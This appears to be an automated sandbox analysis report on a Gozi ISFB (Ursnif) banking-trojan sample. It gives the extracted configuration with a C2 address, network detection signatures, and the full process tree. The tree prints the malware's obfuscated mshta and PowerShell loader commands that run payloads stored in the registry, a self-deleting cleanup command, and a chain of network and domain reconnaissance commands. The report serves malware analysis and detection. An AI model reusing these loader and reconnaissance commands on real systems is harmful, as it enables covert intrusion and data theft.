Analysis

  • max time kernel
    153s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    02/03/2022, 23:57

General

  • Target
    SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe
  • Size 2.5MB
  • Sample220302-3zkrjaachj
  • SHA256 edb86e9c3d29b3d13c82562dc1aeb1cd7e2c33e2bfcbae30791bf1d1aaf4345f
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • gozi_ifsb

Botnet
  • 20000

C2
  • skype.com/signin

  • 143.198.56.58

Attributes
  • base_path

    /peer/

  • build

    250225

  • exe_type

    loader

  • extension

    .prv

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family
  • gozi_ifsb

Botnet
  • 20000

C2
  • skype.com/login

  • 143.198.56.58

Attributes
  • base_path

    /images/

  • build

    250225

  • exe_type

    worker

  • extension

    .prv

  • server_id

    50

rsa_pubkey.plain
aes.plain
rsa_pubkey.plain

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • suricata: ET MALWARE Ursnif Variant CnC Beacon

    suricata: ET MALWARE Ursnif Variant CnC Beacon

  • suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

    suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

  • suricata: ET MALWARE Ursnif Variant CnC Beacon 3

    suricata: ET MALWARE Ursnif Variant CnC Beacon 3

  • suricata: ET MALWARE Ursnif Variant CnC Data Exfil

    suricata: ET MALWARE Ursnif Variant CnC Data Exfil

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Discovers systems in the same network 1 TTPs 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies registry class 4 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
    • Modifies registry class
    PID:3052
  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3624
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:3852
      • C:\Windows\System32\RuntimeBroker.exe
        C:\Windows\System32\RuntimeBroker.exe -Embedding
        1⤵
          PID:3164
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2516
          • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe
            "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe"
            2⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1712
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              3⤵
                PID:1548
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                3⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:3812
            • C:\Windows\System32\mshta.exe
              "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ndnj='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ndnj).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\706C1470-0F15-22FF-19A4-B3765D18970A\\\JunkPack'));if(!window.flag)close()</script>"
              2⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:3536
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name dsfoxitnvm -value gp; new-alias -name mbltpqfq -value iex; mbltpqfq ([System.Text.Encoding]::ASCII.GetString((dsfoxitnvm "HKCU:Software\AppDataLow\Software\Microsoft\706C1470-0F15-22FF-19A4-B3765D18970A").SystemDriver))
                3⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2392
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f5an0o0g\f5an0o0g.cmdline"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1768
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES305A.tmp" "c:\Users\Admin\AppData\Local\Temp\f5an0o0g\CSCD2062FB87B0646C19B6C3850B53BFF6F.TMP"
                    5⤵
                      PID:3000
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zwzvyetj\zwzvyetj.cmdline"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3608
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES31F1.tmp" "c:\Users\Admin\AppData\Local\Temp\zwzvyetj\CSCE03CA881A8B645E9BFE552947E319116.TMP"
                      5⤵
                        PID:1340
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  2⤵
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: MapViewOfSection
                  • Suspicious use of WriteProcessMemory
                  PID:2548
                  • C:\Windows\system32\PING.EXE
                    ping localhost -n 5
                    3⤵
                    • Runs ping.exe
                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                    PID:464
                • C:\Windows\system32\cmd.exe
                  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\B922.bi1"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3212
                  • C:\Windows\system32\nslookup.exe
                    nslookup myip.opendns.com resolver1.opendns.com
                    3⤵
                      PID:2276
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B922.bi1"
                    2⤵
                      PID:3884
                    • C:\Windows\system32\cmd.exe
                      cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1984
                      • C:\Windows\system32\systeminfo.exe
                        systeminfo.exe
                        3⤵
                        • Gathers system information
                        PID:1556
                    • C:\Windows\syswow64\cmd.exe
                      "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                      2⤵
                        PID:2272
                      • C:\Windows\system32\cmd.exe
                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                        2⤵
                          PID:3592
                        • C:\Windows\system32\cmd.exe
                          cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                          2⤵
                            PID:3500
                            • C:\Windows\system32\net.exe
                              net view
                              3⤵
                              • Discovers systems in the same network
                              PID:4060
                          • C:\Windows\system32\cmd.exe
                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                            2⤵
                              PID:3604
                            • C:\Windows\system32\cmd.exe
                              cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                              2⤵
                                PID:3572
                                • C:\Windows\system32\nslookup.exe
                                  nslookup 127.0.0.1
                                  3⤵
                                    PID:3908
                                • C:\Windows\system32\cmd.exe
                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                  2⤵
                                    PID:2024
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                    2⤵
                                      PID:624
                                      • C:\Windows\system32\tasklist.exe
                                        tasklist.exe /SVC
                                        3⤵
                                        • Enumerates processes with tasklist
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3944
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                      2⤵
                                        PID:3600
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                        2⤵
                                          PID:2272
                                          • C:\Windows\system32\driverquery.exe
                                            driverquery.exe
                                            3⤵
                                              PID:2840
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                            2⤵
                                              PID:2548
                                            • C:\Windows\system32\cmd.exe
                                              cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                              2⤵
                                                PID:672
                                                • C:\Windows\system32\reg.exe
                                                  reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                                  3⤵
                                                    PID:1440
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                                  2⤵
                                                    PID:740
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                                    2⤵
                                                      PID:3360
                                                      • C:\Windows\system32\net.exe
                                                        net config workstation
                                                        3⤵
                                                          PID:2176
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 config workstation
                                                            4⤵
                                                              PID:1824
                                                        • C:\Windows\system32\cmd.exe
                                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                                          2⤵
                                                            PID:944
                                                          • C:\Windows\system32\cmd.exe
                                                            cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                                            2⤵
                                                              PID:3480
                                                              • C:\Windows\system32\nltest.exe
                                                                nltest /domain_trusts
                                                                3⤵
                                                                  PID:4092
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                                                2⤵
                                                                  PID:2788
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                                                  2⤵
                                                                    PID:1228
                                                                    • C:\Windows\system32\nltest.exe
                                                                      nltest /domain_trusts /all_trusts
                                                                      3⤵
                                                                        PID:4004
                                                                    • C:\Windows\system32\cmd.exe
                                                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                                                      2⤵
                                                                        PID:1624
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                                                        2⤵
                                                                          PID:3572
                                                                          • C:\Windows\system32\net.exe
                                                                            net view /all /domain
                                                                            3⤵
                                                                            • Discovers systems in the same network
                                                                            PID:1416
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                                                          2⤵
                                                                            PID:3528
                                                                          • C:\Windows\system32\cmd.exe
                                                                            cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                                                            2⤵
                                                                              PID:2252
                                                                              • C:\Windows\system32\net.exe
                                                                                net view /all
                                                                                3⤵
                                                                                • Discovers systems in the same network
                                                                                PID:3088
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                                                              2⤵
                                                                                PID:3944
                                                                              • C:\Windows\system32\cmd.exe
                                                                                cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\4B1.bin1 > C:\Users\Admin\AppData\Local\Temp\4B1.bin & del C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
                                                                                2⤵
                                                                                  PID:1912

                                                                              Network

                                                                                    MITRE ATT&CK Enterprise v6

                                                                                    Replay Monitor

                                                                                    Loading Replay Monitor...

                                                                                    Downloads

                                                                                    memory/464-189-0x000001E8F99E0000-0x000001E8F9A86000-memory.dmp

                                                                                    memory/464-188-0x000001E8F97B0000-0x000001E8F97B1000-memory.dmp

                                                                                    memory/1712-133-0x0000000004F30000-0x0000000004FC2000-memory.dmp

                                                                                    memory/1712-136-0x0000000005153000-0x0000000005155000-memory.dmp

                                                                                    memory/1712-135-0x0000000004FE0000-0x0000000004FEA000-memory.dmp

                                                                                    memory/1712-134-0x0000000005150000-0x0000000005151000-memory.dmp

                                                                                    memory/1712-130-0x000000007499E000-0x000000007499F000-memory.dmp

                                                                                    memory/1712-132-0x00000000055F0000-0x0000000005B94000-memory.dmp

                                                                                    memory/1712-131-0x0000000000310000-0x0000000000590000-memory.dmp

                                                                                    memory/2272-197-0x0000000003290000-0x0000000003329000-memory.dmp

                                                                                    memory/2272-194-0x0000000000EE6B20-0x0000000000EE6B24-memory.dmp

                                                                                    memory/2392-150-0x0000021B64C16000-0x0000021B64C18000-memory.dmp

                                                                                    memory/2392-144-0x0000021B7DAF0000-0x0000021B7DB12000-memory.dmp

                                                                                    memory/2392-147-0x00007FFE64E23000-0x00007FFE64E25000-memory.dmp

                                                                                    memory/2392-148-0x0000021B64C10000-0x0000021B64C12000-memory.dmp

                                                                                    memory/2392-163-0x0000021B7DF60000-0x0000021B7DF9E000-memory.dmp

                                                                                    memory/2392-149-0x0000021B64C13000-0x0000021B64C15000-memory.dmp

                                                                                    memory/2516-178-0x00000000086E0000-0x0000000008786000-memory.dmp

                                                                                    memory/2516-177-0x0000000000AF0000-0x0000000000AF1000-memory.dmp

                                                                                    memory/2548-176-0x0000021A6F470000-0x0000021A6F471000-memory.dmp

                                                                                    memory/2548-179-0x0000021A6F670000-0x0000021A6F716000-memory.dmp

                                                                                    memory/3052-181-0x0000022D9DCF0000-0x0000022D9DD96000-memory.dmp

                                                                                    memory/3052-180-0x0000022D9DDA0000-0x0000022D9DDA1000-memory.dmp

                                                                                    memory/3164-183-0x0000021FB0D20000-0x0000021FB0DC6000-memory.dmp

                                                                                    memory/3164-182-0x0000021FB0DD0000-0x0000021FB0DD1000-memory.dmp

                                                                                    memory/3624-184-0x00000244065C0000-0x00000244065C1000-memory.dmp

                                                                                    memory/3624-185-0x0000024406EE0000-0x0000024406F86000-memory.dmp

                                                                                    memory/3812-137-0x0000000000400000-0x000000000040D000-memory.dmp

                                                                                    memory/3812-138-0x0000000000400000-0x000000000040D000-memory.dmp

                                                                                    memory/3852-186-0x000002582CF10000-0x000002582CF11000-memory.dmp

                                                                                    memory/3852-187-0x000002582E750000-0x000002582E7F6000-memory.dmp